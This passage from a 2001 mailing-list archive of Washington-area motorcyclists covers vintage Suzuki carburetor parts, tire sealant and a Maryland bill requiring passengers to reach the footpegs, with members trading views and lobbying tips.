--part1_48.112a9e40.27b2d6ed_boundary-- From dc-cycles-request Wed Feb 7 11:51:22 2001 Return-Path: Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17GpLP14308 for ; Wed, 7 Feb 2001 11:51:21 -0500 (EST) Received: from dgismtp02.wcomnet.com ([166.38.58.142]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0G8E00M0UC0ZLV@XXXXXX> for dc-cycles@XXXXXX; Wed, 7 Feb 2001 16:48:35 +0000 (GMT) Received: from dgismtp02.wcomnet.com by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with SMTP id <0G8E00401C0OD1@XXXXXX>; Wed, 07 Feb 2001 16:48:35 +0000 (GMT) Received: from home.com ([166.36.152.226]) by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with ESMTP id <0G8E002CRC0JIN@XXXXXX>; Wed, 07 Feb 2001 16:48:19 +0000 (GMT) Date: Wed, 07 Feb 2001 11:48:17 -0500 From: Dale Horstman Subject: Re: dc-cycles digest for 02/06/01 To: Todd Peer Cc: dc-cycles@XXXXXX Message-id: <3A817C51.19154F36@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: Todd Peer wrote: > > Very nice write up Dale! I believe this is the first time we've ever been > privileged with your eloquence in a ride report. I liked it. > > Todd Todd, Thanks! But I've posted stuff here before. FWIW, if you are extremely bored, I've gathered a few of my trip reports on my web page. http://www.tidalwave.net/~horstman/dale.html Dale -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Wed Feb 7 12:34:14 2001 Return-Path: Received: from web510.mail.yahoo.com (web510.mail.yahoo.com [216.115.104.225]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f17HYDP14894 for ; Wed, 7 Feb 2001 12:34:13 -0500 (EST) Message-ID: <20010207173408.29419.qmail@web510.mail.yahoo.com> Received: from [208.219.157.35] by web510.mail.yahoo.com; Wed, 07 Feb 2001 09:34:08 PST Date: Wed, 7 Feb 2001 09:34:08 -0800 (PST) From: Tom Gimer Subject: Re: Cryor bill To: Gawthrop@XXXXXX, perrycoleman@XXXXXX, combat_tourer@XXXXXX, dc-cycles@XXXXXX In-Reply-To: <48.112a9e40.27b2d6ed@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- Gawthrop@XXXXXX wrote: > In a message dated 2/7/01 9:12:05 AM Eastern Standard > Time, > perrycoleman@XXXXXX writes: > > > > Personally, I'd like to see > > someone from a responsible organization prepare a > > rational argument and present it in a professional > > fashion to the legislature. Historically, that > > doesn't seem to happen often. And as for the general > > public's impression of us riders, I agree with you. > > Perry brings up a point worth discussing. The request he > makes is a sound one: he'd like to see someone from a > responsible organization prepare a rational argument and > present it in a professional fashion to the legislature. > > That's being done. But if there is a perception by anyone > that that isn't being done, we welcome constructive input > on how to do it better. Which brings us back to Perry's > comment: can anyone else prepare a rational argument that > we can use? sorry for joining so late, but if you're looking for an argument to use against the cryor bill, i'll spend some time this weekend trying to help you find a way to kill it. -- tg __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From dc-cycles-request Wed Feb 7 13:20:01 2001 Return-Path: Received: from pollux.nevada.edu (ward@XXXXXX [131.216.1.217]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17IJtP15545 for ; Wed, 7 Feb 2001 13:19:56 -0500 (EST) Received: from localhost (ward@localhost) by pollux.nevada.edu (8.8.8/8.8.8) with ESMTP id KAA13886; Wed, 7 Feb 2001 10:17:32 -0800 (PST) X-Authentication-Warning: pollux.nevada.edu: ward owned process doing -bs Date: Wed, 7 Feb 2001 10:17:32 -0800 (PST) From: "Aaron S. Ward" To: Justin Stefanon cc: dcbike Subject: Re: Fargin ancient moto In-Reply-To: <20010207162806.13750.qmail@web903.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 7 Feb 2001, Justin Stefanon wrote: > Anybody know offhand the ph# of a NOVA suzuki dealer's > parts department? I need to find out how much the > stuff that broke will cost, so I know how much I don't > want to buy a new one. > > thanks, > Justin Stefanon Hey man, Go to www.zanottimotors.com and find out about them getting the part for you. They beat dealer prices on OEM stuff. If you need to, find the part on www.motofiches.com or http://www.powersportspro.com/partsfish/createuser.asp and then email the part and/or part number to the guy at zanotti's and he'll send you a quote. You can compare prices to anywhere else, even the partsfish site above, and Zanotti should be lower. Actually, I've only checked on Honda stuff so I'm not 100% sure they can get Suzuki stuff. But try anyway. Aaron __________________________________________________________________________ Aaron S. Ward ward@XXXXXX Whatever happens, remember it's the journey, not the destination From dc-cycles-request Wed Feb 7 13:26:09 2001 Return-Path: Received: from loki.vitalspring.com (loki.vitalspring.com [66.2.186.213]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17IQ7P15635 for ; Wed, 7 Feb 2001 13:26:07 -0500 (EST) Received: from 66-2-186-195.customer.algx.net ([66.2.186.195]) by loki.vitalspring.com (8.9.3/8.9.3) with SMTP id NAA22992; Wed, 7 Feb 2001 13:16:12 -0500 From: "Christopher Weaver" To: "Justin Stefanon" , "dcbike" Received: from no.name.available by 66-2-186-195.customer.algx.net via smtpd (for www.vitalspring.com [66.2.186.214]) with SMTP; 7 Feb 2001 18:27:12 UT Subject: RE: Fargin ancient moto Date: Wed, 7 Feb 2001 13:25:58 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <20010207162806.13750.qmail@web903.mail.yahoo.com> Better yet, go to http://www.bikebandit.com/PartsBandit/ and find out for yourself how much the parts cost. They have scanned images of parts catalogs (& pricing) for a lot of bikes - perhaps yours. Chris Weaver VTR1000 YSR50 www.dccycles.com -----Original Message----- From: Justin Stefanon [mailto:jstefanon@XXXXXX] Sent: Wednesday, February 07, 2001 11:28 AM To: dcbike Subject: Fargin ancient moto Anybody know offhand the ph# of a NOVA suzuki dealer's parts department? I need to find out how much the stuff that broke will cost, so I know how much I don't want to buy a new one. thanks, Justin Stefanon __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From dc-cycles-request Wed Feb 7 13:36:43 2001 Return-Path: Received: from web906.mail.yahoo.com (web906.mail.yahoo.com [128.11.23.81]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f17IafP15861 for ; Wed, 7 Feb 2001 13:36:41 -0500 (EST) Received: (qmail 29546 invoked by uid 60001); 7 Feb 2001 18:36:38 -0000 Message-ID: <20010207183638.29545.qmail@web906.mail.yahoo.com> Received: from [207.192.134.198] by web906.mail.yahoo.com; Wed, 07 Feb 2001 10:36:38 PST Date: Wed, 7 Feb 2001 10:36:38 -0800 (PST) From: Justin Stefanon Subject: RE: Fargin ancient moto To: Danny Thompson , dcbike In-Reply-To: <01C090FB.26BF0DA0.danthompson@libertyhs.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Little rubber booty-gasket mf-er that holds carbs on '79 suzuki gs1000. considering how brittle they were they must be the originals, and i doubt i can still call them rubber. i also doubt anybody's got a decent set just "lyin' around" --- Danny Thompson wrote: > What did you break, on what bike? > > Danny > #903 Novice (WERA, CCS) > '98 VTR > '00 SV (For SALE) > www.onewayracing.org > > Proudly Sponsored by: > Blalock Cycle www.blalockcycle.com, Shen Valley > Trailers > www.shenvalleywarrenton.com > > On Wednesday, February 07, 2001 11:28 AM, Justin > Stefanon > [SMTP:jstefanon@XXXXXX] wrote: > > Anybody know offhand the ph# of a NOVA suzuki > dealer's > > parts department? I need to find out how much the > > stuff that broke will cost, so I know how much I > don't > > want to buy a new one. > > > > thanks, > > Justin Stefanon > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! Auctions - Buy the things you want at great > prices. > > http://auctions.yahoo.com/ __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From dc-cycles-request Wed Feb 7 13:58:51 2001 Return-Path: Received: from bpexchange.dcscorp.com (bpexchange.dcscorp.com [204.7.239.11]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17IwnP16122 for ; Wed, 7 Feb 2001 13:58:50 -0500 (EST) Received: by bpexchange.dcscorp.com with Internet Mail Service (5.5.2650.21) id ; Wed, 7 Feb 2001 13:58:45 -0500 Message-ID: From: "Smith, Steven" To: "'dc-cycles@XXXXXX'" , "'triumph@XXXXXX'" Subject: Tire Sealant... I know, I know. Date: Wed, 7 Feb 2001 13:58:40 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Suggestions? Pinhole leak in a new D207. Never goes completely flat but continually loses air -- slowly. Bead is fine, valve is okay, nothing through the tread or sidewall. I hate to use the stuff, but going through the hassle and expense of (maybe) getting a replacement hoop on warranty for an otherwise good tire is not the preferred option. If anyone has any anecdotal evidence for doing this, please contact me off-list with the details (brand, effectiveness, how pissed your mechanic was when he found out). MC Happy (Nomex? What's that?) Peoples Republic of Alexandria MRF 1012503, AMA 572649, MARRC 2567, RAT 79802 1998 T595 Daytona, call her "Boudicca" From dc-cycles-request Wed Feb 7 14:08:02 2001 Return-Path: Received: from hotmail.com (f47.law7.hotmail.com [216.33.237.47]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17J80P16272 for ; Wed, 7 Feb 2001 14:08:01 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 7 Feb 2001 11:07:52 -0800 Received: from 204.71.174.14 by lw7fd.law7.hotmail.msn.com with HTTP; Wed, 07 Feb 2001 19:07:51 GMT X-Originating-IP: [204.71.174.14] From: "Perry Coleman" To: jstefanon@XXXXXX, danthompson@XXXXXX, dc-cycles@XXXXXX Subject: RE: Fargin ancient moto Date: Wed, 07 Feb 2001 14:07:51 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 07 Feb 2001 19:07:52.0194 (UTC) FILETIME=[44ED4E20:01C09139] Justin, Good luck finding them through a dealer, or the manufacturer - unless they continued to be used, relatively unchanged, for a few years. You might get lucky and find them in an "obsolete parts" bin somewhere. You might even be able to find something that will fit, even if it's not from the same bike. Knowing the proper diameter (inside/outside,) length and detail on any flange/groove might help. Perry >From: Justin Stefanon >To: Danny Thompson , dcbike > >Subject: RE: Fargin ancient moto >Date: Wed, 7 Feb 2001 10:36:38 -0800 (PST) > >Little rubber booty-gasket mf-er that holds carbs on >'79 suzuki gs1000. considering how brittle they were >they must be the originals, and i doubt i can still >call them rubber. i also doubt anybody's got a decent >set just "lyin' around" >--- Danny Thompson wrote: > > What did you break, on what bike? > > > > Danny > > #903 Novice (WERA, CCS) > > '98 VTR > > '00 SV (For SALE) > > www.onewayracing.org > > > > Proudly Sponsored by: > > Blalock Cycle www.blalockcycle.com, Shen Valley > > Trailers > > www.shenvalleywarrenton.com > > > > On Wednesday, February 07, 2001 11:28 AM, Justin > > Stefanon > > [SMTP:jstefanon@XXXXXX] wrote: > > > Anybody know offhand the ph# of a NOVA suzuki > > dealer's > > > parts department? I need to find out how much the > > > stuff that broke will cost, so I know how much I > > don't > > > want to buy a new one. > > > > > > thanks, > > > Justin Stefanon > > > > > > __________________________________________________ > > > Do You Yahoo!? > > > Yahoo! Auctions - Buy the things you want at great > > prices. > > > http://auctions.yahoo.com/ > > >__________________________________________________ >Do You Yahoo!? >Yahoo! Auctions - Buy the things you want at great prices. >http://auctions.yahoo.com/ _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Wed Feb 7 15:47:34 2001 Return-Path: Received: from imo-d07.mx.aol.com (imo-d07.mx.aol.com [205.188.157.39]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17KlWP17876 for ; Wed, 7 Feb 2001 15:47:32 -0500 (EST) Received: from Gawthrop@XXXXXX by imo-d07.mx.aol.com (mail_out_v29.5.) id r.98.1042f614 (618); Wed, 7 Feb 2001 15:47:15 -0500 (EST) From: Gawthrop@XXXXXX Message-ID: <98.1042f614.27b30e52@aol.com> Date: Wed, 7 Feb 2001 15:47:14 EST Subject: Re: Cryor bill To: t_gimer@XXXXXX, Gawthrop@XXXXXX, perrycoleman@XXXXXX, combat_tourer@XXXXXX, dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_98.1042f614.27b30e52_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 344 --part1_98.1042f614.27b30e52_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/7/01 12:34:31 PM Eastern Standard Time, t_gimer@XXXXXX writes: > , i'll spend some > time this weekend trying to help you find a way to kill it. > Thanks; We appreciate the help. The fight will be both in the prelude to committee and in the committee itself. Bill Gawthrop Maryland "I may disagree with what you have to say, but I shall defend, to the death, your right to say it." Voltaire (1694-1778) --part1_98.1042f614.27b30e52_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/7/01 12:34:31 PM Eastern Standard Time,
t_gimer@XXXXXX writes:


, i'll spend some
time this weekend trying to help you find a way to kill it.

Thanks; We appreciate the help.
The fight will be both in the prelude to committee and in the committee
itself.


Bill Gawthrop
Maryland

"I may disagree with what you have to say, but I shall defend, to the
death, your right to say it."   Voltaire (1694-1778)
--part1_98.1042f614.27b30e52_boundary-- From dc-cycles-request Wed Feb 7 15:57:07 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17Kv5P18019 for ; Wed, 7 Feb 2001 15:57:05 -0500 (EST) Received: from patriot.net (pool181-29.patriot.net [209.249.181.29]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f17KuoH24554; Wed, 7 Feb 2001 15:56:50 -0500 Message-ID: <3A81B545.D9E1B119@patriot.net> Date: Wed, 07 Feb 2001 15:51:17 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: Gawthrop@XXXXXX CC: perrycoleman@XXXXXX, combat_tourer@XXXXXX, dc-cycles@XXXXXX Subject: Re: Cryor bill References: <48.112a9e40.27b2d6ed@aol.com> Content-Type: multipart/alternative; boundary="------------EF549DB1D4C991BB5C942E07" --------------EF549DB1D4C991BB5C942E07 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Gawthrop@XXXXXX wrote: > > can anyone else prepare a rational argument that we can use? > > > Bill Gawthrop > Maryland Well, if this refers to passengers being able to reach the footpegs, I can't think of one *rational* reason to squelch that idea. A passenger must be able to sit in a stabilized mamner - plain and simple. Would this mean some folks would not have the privalage of riding? Yes. Those who can't demonstrate the ability to operate a motor vehicle are denied a driving permit, and folks wiht certian health problems, such as diabetics prone to blackouts or epilecptics prone to siezures as well. Operating a motorcycle and riding one is a privalage, not a right - get over it. Bill the Other --------------EF549DB1D4C991BB5C942E07 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit  

Gawthrop@XXXXXX wrote:

 
can anyone else prepare a rational argument that we can use?
 

Bill Gawthrop
Maryland

Well, if this refers to passengers being able to reach the footpegs, I can't think of one *rational* reason to squelch that idea.  A passenger must be able to sit in a stabilized mamner - plain and simple.  Would this mean some folks would not have the privalage of riding?  Yes.  Those who can't demonstrate the ability to operate a motor vehicle are denied a driving permit, and folks wiht certian health problems, such as diabetics prone to blackouts or epilecptics prone to siezures as well.

Operating a motorcycle and riding one is a privalage, not a right - get over it.

Bill the Other --------------EF549DB1D4C991BB5C942E07-- From dc-cycles-request Wed Feb 7 16:38:46 2001 Return-Path: Received: from hotmail.com (f37.law7.hotmail.com [216.33.237.37]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17LcjP18539 for ; Wed, 7 Feb 2001 16:38:45 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 7 Feb 2001 13:38:36 -0800 Received: from 204.71.174.14 by lw7fd.law7.hotmail.msn.com with HTTP; Wed, 07 Feb 2001 21:38:36 GMT X-Originating-IP: [204.71.174.14] From: "Perry Coleman" To: bhuson@XXXXXX Cc: dc-cycles@XXXXXX Subject: Re: Cryor bill Date: Wed, 07 Feb 2001 16:38:36 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 07 Feb 2001 21:38:36.0669 (UTC) FILETIME=[53DAAAD0:01C0914E] Bill, For what it's worth, I think the idea is to squelch the creation of a law for what is, in essence, a non-problem. As you pointed out earlier, this is pretty much a common sense issue. There are also laws on the books covering things like reckless endangerment which should allow a police officer to stop someone operating a motorcycle with a passenger (especially a juvenile) who is at risk. Of course, that would probably be considered a judgement call. Having a law stating that the passenger must be able to reach the pegs is pretty straightforward, and reasonably enforceable. It does seem difficult to come up with a reasonable and rationale argument to not require that a passenger be able to reach the pegs. Some are trying, however. On the other hand, do we really need another law because a fraction of a percent, of a fraction of a percent, of the population do not have (or apply) common sense as pertains to carrying a passenger on their motorcycle? Perry p.s. OK, so I lied. I'm still talking about it... >From: "William J. Huson" >To: Gawthrop@XXXXXX >CC: perrycoleman@XXXXXX, combat_tourer@XXXXXX, >dc-cycles@XXXXXX >Subject: Re: Cryor bill >Date: Wed, 07 Feb 2001 15:51:17 -0500 > > > >Gawthrop@XXXXXX wrote: > > > > > can anyone else prepare a rational argument that we can use? > > > > > > Bill Gawthrop > > Maryland > >Well, if this refers to passengers being able to reach the footpegs, I >can't think of one *rational* reason to squelch that idea. A passenger >must be able to sit in a stabilized mamner - plain and simple. Would >this mean some folks would not have the privalage of riding? Yes. >Those who can't demonstrate the ability to operate a motor vehicle are >denied a driving permit, and folks wiht certian health problems, such as >diabetics prone to blackouts or epilecptics prone to siezures as well. > >Operating a motorcycle and riding one is a privalage, not a right - get >over it. > >Bill the Other _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Wed Feb 7 18:09:24 2001 Return-Path: Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17N9NP19864 for ; Wed, 7 Feb 2001 18:09:23 -0500 (EST) Received: from 66-44-2-80.s588.apx1.lnh.md.dialup.rcn.com ([66.44.2.80] helo=twincam) by smtp03.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14QdiC-0000Dz-00 ; Wed, 07 Feb 2001 18:09:20 -0500 Message-ID: <002001c0915a$4dfbb6c0$50022c42@twincam> From: "Kathleen Loerich" To: "Perry Coleman" , , References: Subject: Re: Cryor bill Date: Wed, 7 Feb 2001 18:04:18 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 ----- Original Message ----- From: "Perry Coleman" To: ; Sent: Wednesday, February 07, 2001 09:10 Subject: RE: Cryor bill > > Personally, I'd like to see > someone from a responsible organization prepare a rational argument and > present it in a professional fashion to the legislature. > I'd like to challenge everyone on this list who does not want this bill to pass to come to the House on hearing day and do just that. Testify during the hearing in a responsible and professional fashion. To those who hold the perception that ABATE of Maryland does not do this, I further the challenge. Learn who your state representatives are and establish a rapport with them. Make sure that the voice of motorcycling is heard by them from you. You will find that both AMA and MRF depend on states rights organizations to be their eyes and ears in local jurisdictions as well as their foot in the door at the federal level. You may be surprised to know that many of us who have already testified in state legislative hearings have been congratulated by Senators and Delegates for being concise, organized, and professional. It gets lonely in Annapolis sometimes. Why not help out? We (motorcyclists) spend way too much time nit-picking one another about different riding styles, different motorcycles, and different lifestyles. The bottom line is that in the long run we will all lose because legislators will incrementally chip away at what we do, ride motorcycles. If you receive the AMA magazine just read the article titled 'FutureRide' to see where it could lead. If you think that it is far-fetched that riding may be impossible or improbable, why did Delegate Jean Cryor ask us if we really thought that motorcycling could be outlawed. If she can think it and ask it, other legislators can make it a reality. Kathleen Loerich Life AMA Member AMA Eagle AMA Legislative Supporter MRF Member ABATE of Maryland Member From dc-cycles-request Wed Feb 7 18:15:04 2001 Return-Path: Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17NF3P20008 for ; Wed, 7 Feb 2001 18:15:03 -0500 (EST) Received: from 66-44-2-80.s588.apx1.lnh.md.dialup.rcn.com ([66.44.2.80] helo=twincam) by smtp03.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14Qdnh-0001AH-00 ; Wed, 07 Feb 2001 18:15:02 -0500 Message-ID: <006201c0915b$196b7ca0$50022c42@twincam> From: "Kathleen Loerich" To: , , , , References: <98.1042f614.27b30e52@aol.com> Subject: Re: Cryor bill Date: Wed, 7 Feb 2001 18:10:00 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 >, i'll spend some >time this weekend trying to help you find a way to kill it. One of the most effective ways to challenge this bill is for each person reading this message to contact their representatives in the House of Delegates. Delegate information can be located at http://mlis.state.md.us. Kathleen Loerich From dc-cycles-request Wed Feb 7 19:01:55 2001 Return-Path: Received: from ravinc.com (mail.ravinc.com [216.181.133.51]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1801rP20678 for ; Wed, 7 Feb 2001 19:01:54 -0500 (EST) Received: from roadrash [192.9.200.199] by ravinc.com [216.181.133.51] with SMTP (MDaemon.v3.0.3.R) for ; Wed, 07 Feb 2001 18:59:54 -0500 From: "Jay St. Peter" To: Cc: Subject: Re: Cryor bill Date: Wed, 7 Feb 2001 19:00:44 -0500 Message-ID: <001501c09162$2fc0f050$c7c809c0@roadrash> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal X-MDaemon-Deliver-To: dc-cycles@XXXXXX X-Return-Path: jay.stpeter@XXXXXX X-MDRcpt-To: dc-cycles@XXXXXX X-MDRemoteIP: 192.9.200.199 Perry, I agree with you. This is a non-problem and some useless legislation. I feel that is argument enough against it. As I was surfing the other night, I hit the mont co. channel. Two female county legislators were debating some damn thing (one of them may have been cryor, who knows) ... point is, one of them actually said "just what we need, more inane and unenforceable laws". If I had any idea who she was, I may actually vote for her next election ;)... itchy trigger finger got the better of me. I assumed the other must be cryor :) The problem as I see it is legislators come in and feel like they have to get as many bills as possible with their name on it to properly "serve" their voters. Please ... I would rather see how many inane and useless laws they repeal while in office. Yes, I know there are many important issues that need to be dealt with each session, but how much time do they spend on the inane ... uh ... maybe not as much as us :) Jay St. Peter From dc-cycles-request Wed Feb 7 19:33:15 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f180XDP21136 for ; Wed, 7 Feb 2001 19:33:13 -0500 (EST) Received: from patriot.net (pool181-29.patriot.net [209.249.181.29]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f180X8H29509; Wed, 7 Feb 2001 19:33:09 -0500 Message-ID: <3A81E7F9.D9344A51@patriot.net> Date: Wed, 07 Feb 2001 19:27:37 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: Perry Coleman CC: dc-cycles@XXXXXX Subject: Re: Cryor bill References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Yeah, what I said - many messages ago. Why bother... There should be a law that for every law passed one has to be repealed, that might stem the tide of assinine proposals. Here in VA we're looking at Pledge of Allegience requirements and posting In God Trust plaques in all classrooms. I guess dealing with transportation issues and the impending financial crisis is to much for their tiny brains. Bill Perry Coleman wrote: > Bill, > > For what it's worth, I think the idea is to squelch the creation of a law > for what is, in essence, a non-problem. As you pointed out earlier, this is > pretty much a common sense issue. There are also laws on the books covering > things like reckless endangerment which should allow a police officer to > stop someone operating a motorcycle with a passenger (especially a juvenile) > who is at risk. > > Of course, that would probably be considered a judgement call. Having a law > stating that the passenger must be able to reach the pegs is pretty > straightforward, and reasonably enforceable. It does seem difficult to come > up with a reasonable and rationale argument to not require that a passenger > be able to reach the pegs. Some are trying, however. > > On the other hand, do we really need another law because a fraction of a > percent, of a fraction of a percent, of the population do not have (or > apply) common sense as pertains to carrying a passenger on their motorcycle? > > Perry > > p.s. OK, so I lied. I'm still talking about it... From dc-cycles-request Wed Feb 7 21:01:44 2001 Return-Path: Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1821hP22497 for ; Wed, 7 Feb 2001 21:01:43 -0500 (EST) Received: from 66-44-2-80.s588.apx1.lnh.md.dialup.rcn.com ([66.44.2.80] helo=twincam) by smtp03.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14QfcO-0005Z2-00 ; Wed, 07 Feb 2001 20:11:28 -0500 Message-ID: <00b401c0916b$5e2b5440$50022c42@twincam> From: "Kathleen Loerich" To: "Jay St. Peter" , Cc: References: <001501c09162$2fc0f050$c7c809c0@roadrash> Subject: Re: Cryor bill Date: Wed, 7 Feb 2001 20:06:27 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 > The problem as I see it is legislators come in and feel like they have to > get as many bills as possible with their name on it to properly "serve" > their voters. Please ... I would rather see how many inane and useless laws > they repeal while in office. > My modest proposal for a four-year term is that legislators can repeal laws for the first three years. If they do a good job, then they can enact legislation for the remaining year of the term. =8^) Kathleen Loerich From dc-cycles-request Thu Feb 8 06:23:03 2001 Return-Path: Received: from vasfw03.fdic.gov (vasfw03.fdic.gov [192.147.69.46]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18BN1P00798 for ; Thu, 8 Feb 2001 06:23:02 -0500 (EST) Received: by vasfw03.fdic.gov; id GAA18727; Thu, 8 Feb 2001 06:22:54 -0500 (EST) Received: from unknown(151.174.4.145) by vasfw03.fdic.gov via smap (V5.5) id xma018621; Thu, 8 Feb 01 06:21:22 -0500 Received: by s00exc101.fdic.gov with Internet Mail Service (5.5.2651.58) id ; Thu, 8 Feb 2001 06:21:22 -0500 Message-ID: <42A213AA7052D21187EB080009DC7807049A67DF@s01exc102.fdic.gov> From: "Myles, Gregory S." To: "'William J. Huson'" , Perry Coleman Cc: dc-cycles@XXXXXX Subject: RE: Cryor bill Date: Thu, 8 Feb 2001 06:21:21 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="iso-8859-1" I think one reason the good Delegate is insisting on pursuing this matter even in the absence of a real need, is because of her aide's publicized response in the Washington Post to the original Dr. Gridlock column indicating that she would be doing something about it. She stuck her neck out (or nose in), and withdrawing the bill now could be viewed any political opponents she might have as a possible "issue". -----Original Message----- From: William J. Huson [mailto:bhuson@XXXXXX] Sent: Wednesday, February 07, 2001 7:28 PM To: Perry Coleman Cc: dc-cycles@XXXXXX Subject: Re: Cryor bill Yeah, what I said - many messages ago. Why bother... There should be a law that for every law passed one has to be repealed, that might stem the tide of assinine proposals. Here in VA we're looking at Pledge of Allegience requirements and posting In God Trust plaques in all classrooms. I guess dealing with transportation issues and the impending financial crisis is to much for their tiny brains. Bill Perry Coleman wrote: > Bill, > > For what it's worth, I think the idea is to squelch the creation of a law > for what is, in essence, a non-problem. As you pointed out earlier, this is > pretty much a common sense issue. There are also laws on the books covering > things like reckless endangerment which should allow a police officer to > stop someone operating a motorcycle with a passenger (especially a juvenile) > who is at risk. > > Of course, that would probably be considered a judgement call. Having a law > stating that the passenger must be able to reach the pegs is pretty > straightforward, and reasonably enforceable. It does seem difficult to come > up with a reasonable and rationale argument to not require that a passenger > be able to reach the pegs. Some are trying, however. > > On the other hand, do we really need another law because a fraction of a > percent, of a fraction of a percent, of the population do not have (or > apply) common sense as pertains to carrying a passenger on their motorcycle? > > Perry > > p.s. OK, so I lied. I'm still talking about it... From dc-cycles-request Thu Feb 8 07:46:27 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18CkPP01930 for ; Thu, 8 Feb 2001 07:46:26 -0500 (EST) Received: from patriot.net (pool180-164.patriot.net 